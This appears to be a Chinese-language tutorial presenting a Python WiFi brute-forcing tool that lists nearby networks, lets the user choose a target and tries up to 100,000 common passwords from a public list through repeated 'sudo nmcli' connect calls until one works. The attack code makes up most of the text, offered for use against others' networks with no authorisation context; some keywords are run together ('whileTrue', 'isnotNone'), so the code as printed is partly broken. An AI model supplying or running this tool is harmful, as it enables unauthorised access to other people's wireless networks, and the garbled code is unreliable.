1. WiFi列表

首先，我们需要获取附近的WiFi列表。

下面，就来写一个函数来获取附近的WiFi列表，函数命名为display_targets：

def display_targets(networks, security_type):
    print("Select a target: \n")
    
    rows, columns = os.popen('stty size', 'r').read().split()
    for i in range(len(networks)):
        width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
        spacer = " "
        
        if (int(columns) >= 100):
            calc = int((int(columns)-int(width))*0.75)
        else:
                calc = int(columns)-int(width)
        
        for index in range(calc):
            spacer += "."
            if index == (calc-1):
                spacer += " "
            
        print(str(i+1)+". "+networks[i]+spacer+security_type[i])

这里，我们会用到ssid工具包，用来获取附近的WiFi列表，存入到参数networks。

2. 选择WiFi

获取WiFi列表之后，下一步要做的就是选择我们想要连接的WiFi，

def prompt_for_target_choice(max):
    whileTrue:
        try:
            selected = int(input("\nEnter number of target: "))
            if(selected >= 1and selected <= max):
                return selected - 1
        except Exception as e:
            ignore = e

        print("Invalid choice: Please pick a number between 1 and " + str(max))

这里很简单，就是一些通用的Python功能。

3. 暴力破解

目前已经获取并且选择了想要连接的WiFi，那么如何获取到它的密码呢？

这里要用到一种比较常见的方式：暴力破解。

这里，要用到Github上一个项目，它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。

def brute_force(selected_network, passwords, args):
    for password in passwords:
        # necessary due to NetworkManager restart after unsuccessful attempt at login
        password = password.strip()

        # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
        if isinstance(password, str):
            decoded_line = password
        else:
            decoded_line = password.decode("utf-8")
            
        if args.verbose isTrue:
            print(bcolors.HEADER+"** TESTING **: with password '" +
                decoded_line+"'"+bcolors.ENDC)

        if (len(decoded_line) >= 8):
            time.sleep(3)

            creds = os.popen("sudo nmcli dev wifi connect " +
                selected_network+" password "+decoded_line).read()
                
            # print(creds)

            if ("Error:"in creds.strip()):
                if args.verbose isTrue:
                    print(bcolors.FAIL+"** TESTING **: password '" +
                        decoded_line+"' failed."+bcolors.ENDC)
            else:
                sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
                    decoded_line+"' succeeded."+bcolors.ENDC)
        else:
            if args.verbose isTrue:
                print(bcolors.OKCYAN+"** TESTING **: password '" +
                    decoded_line+"' too short, passing."+bcolors.ENDC)

    print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

核心功能3个函数就完成了，只用了60行Python代码！

下面就把它们串联在一起：

def main():
    require_root()
    args = argument_parser()

    # The user chose to supplied their own url
    if args.url isnotNone:
        passwords = fetch_password_from_url(args.url)
    # user elect to read passwords form a file
    elif args.file isnotNone:
        file = open(args.file, "r")
        passwords = file.readlines()
        ifnot passwords:
            print("Password file cannot be empty!")
            exit(0)
        file.close()
    else:
        # fallback to the default list as the user didnt supplied a password list
        default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
        passwords = fetch_password_from_url(default_url)

    # grabbing the list of the network ssids
    func_call = start(1)
    networks = func_call[0]
    security_type = func_call[1]
    
    ifnot networks:
        print("No networks found!")
        sys.exit(-1)

    display_targets(networks, security_type)
    max = len(networks)
    pick = prompt_for_target_choice(max)
    target = networks[pick]
    
    print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")

    brute_force(target, passwords, args)

执行函数，就会在命令行下显示附近的WiFi列表，选择之后就开始逐个尝试密码。